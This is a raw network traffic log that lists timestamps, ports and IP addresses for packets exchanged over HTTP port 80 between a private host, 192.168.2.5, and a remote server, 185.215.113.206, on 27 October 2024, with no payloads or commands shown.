Oct 27, 2024 07:59:15.624691963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624691963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624695063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.624707937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624716997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624716997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624716997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624726057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.624758959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.624794006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.624795914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624795914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624825954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.624877930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624890089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.624898911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.665815115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.665858984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.665894032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.665894985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.665951014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.665987968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.739790916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.739881992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.739943027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.739943027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.739954948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.739990950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740056038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740067005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740067005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740091085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740154982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740171909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740180969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740217924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740220070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740253925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740283966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740286112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740309000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740319014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740384102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740397930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740411043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740428925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740449905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740483999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740516901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740523100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740557909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740581989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740585089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740612984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740627050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740683079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740710974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740755081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740787029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740792036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740809917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740823030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740854979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740858078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740890026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740895033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740911007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740923882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740943909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740959883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.740991116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.740992069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741013050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741055965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741097927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741118908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741125107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741183996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741189003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741215944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741281033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741290092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741290092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741313934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741343021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741349936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741364002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741383076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741394997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741422892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741456032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741466045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741466045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741516113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741520882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741554022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741588116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741604090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741621017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741626978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741627932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741667986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741702080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741734982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741761923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741761923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741763115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741765022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741800070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741800070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741823912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741852045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741879940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741887093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741928101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741928101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.741938114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.741974115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742016077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742053986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742083073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742115974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742116928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742125988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742125988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742151976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742183924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742218018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742218018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742218018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742242098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742269993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742324114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742331982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742337942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742397070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742400885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742441893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742470026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742472887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742501974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742536068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742571115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742583990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742594957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742604971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742604971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742619991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742649078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742652893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742666960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742686033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742708921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742719889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742754936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742789030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742796898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742820024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742820024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742824078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742832899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742856979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742877960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742892981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.742932081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742932081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.742964983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743000031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743026972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743036032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743058920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743071079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743096113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743104935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743124962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743141890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743175983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743208885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743241072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743274927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743297100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743297100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743297100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743297100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743309975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743331909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743340015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743372917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743386030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743428946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743434906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743469954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743503094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743535995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743544102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743544102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743544102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743571043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743604898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743640900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743680954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743690968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743691921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743702888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743702888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743725061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743758917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743792057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743809938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743809938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743825912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743827105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743834972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.743855953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.743886948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.744046926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.784249067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.784269094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.784284115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.784385920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.784573078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858288050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858321905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858344078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858361959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858375072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858393908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858402967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858409882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858427048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858448982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858457088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858474016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858489990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858505964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858519077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858535051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858536005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858552933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858557940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858576059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858584881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858596087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858601093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858601093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858613014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858629942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858630896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858647108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858664036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858695984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858724117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858746052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858746052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858747005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858747005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858755112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858769894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858784914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858802080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858817101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858835936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858840942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858865976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858865976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858865976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858872890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858879089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858890057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858906984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858937025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.858987093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858987093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858987093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.858998060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859013081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859044075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859060049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859065056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859065056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859076977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859087944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859119892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859136105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859159946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859175920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859193087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859227896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859251022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859266996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859282970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859291077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859323025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859338999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859339952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859349966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859349966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859358072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859364033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859375000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859391928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859536886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859579086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859596014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859612942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859616995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859616995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859637976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859644890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859651089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859663010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859678030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859690905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859690905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859708071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859720945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859739065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859755039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859771967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859781027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859790087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859826088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859833002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859833002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.859939098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859962940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859978914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.859993935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860009909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860040903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860040903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860055923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860110998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860126972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860151052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860167027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860181093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860183001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:15.860191107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:15.860198021 CET	80	49704	185.215.113.206	192.168.2.5
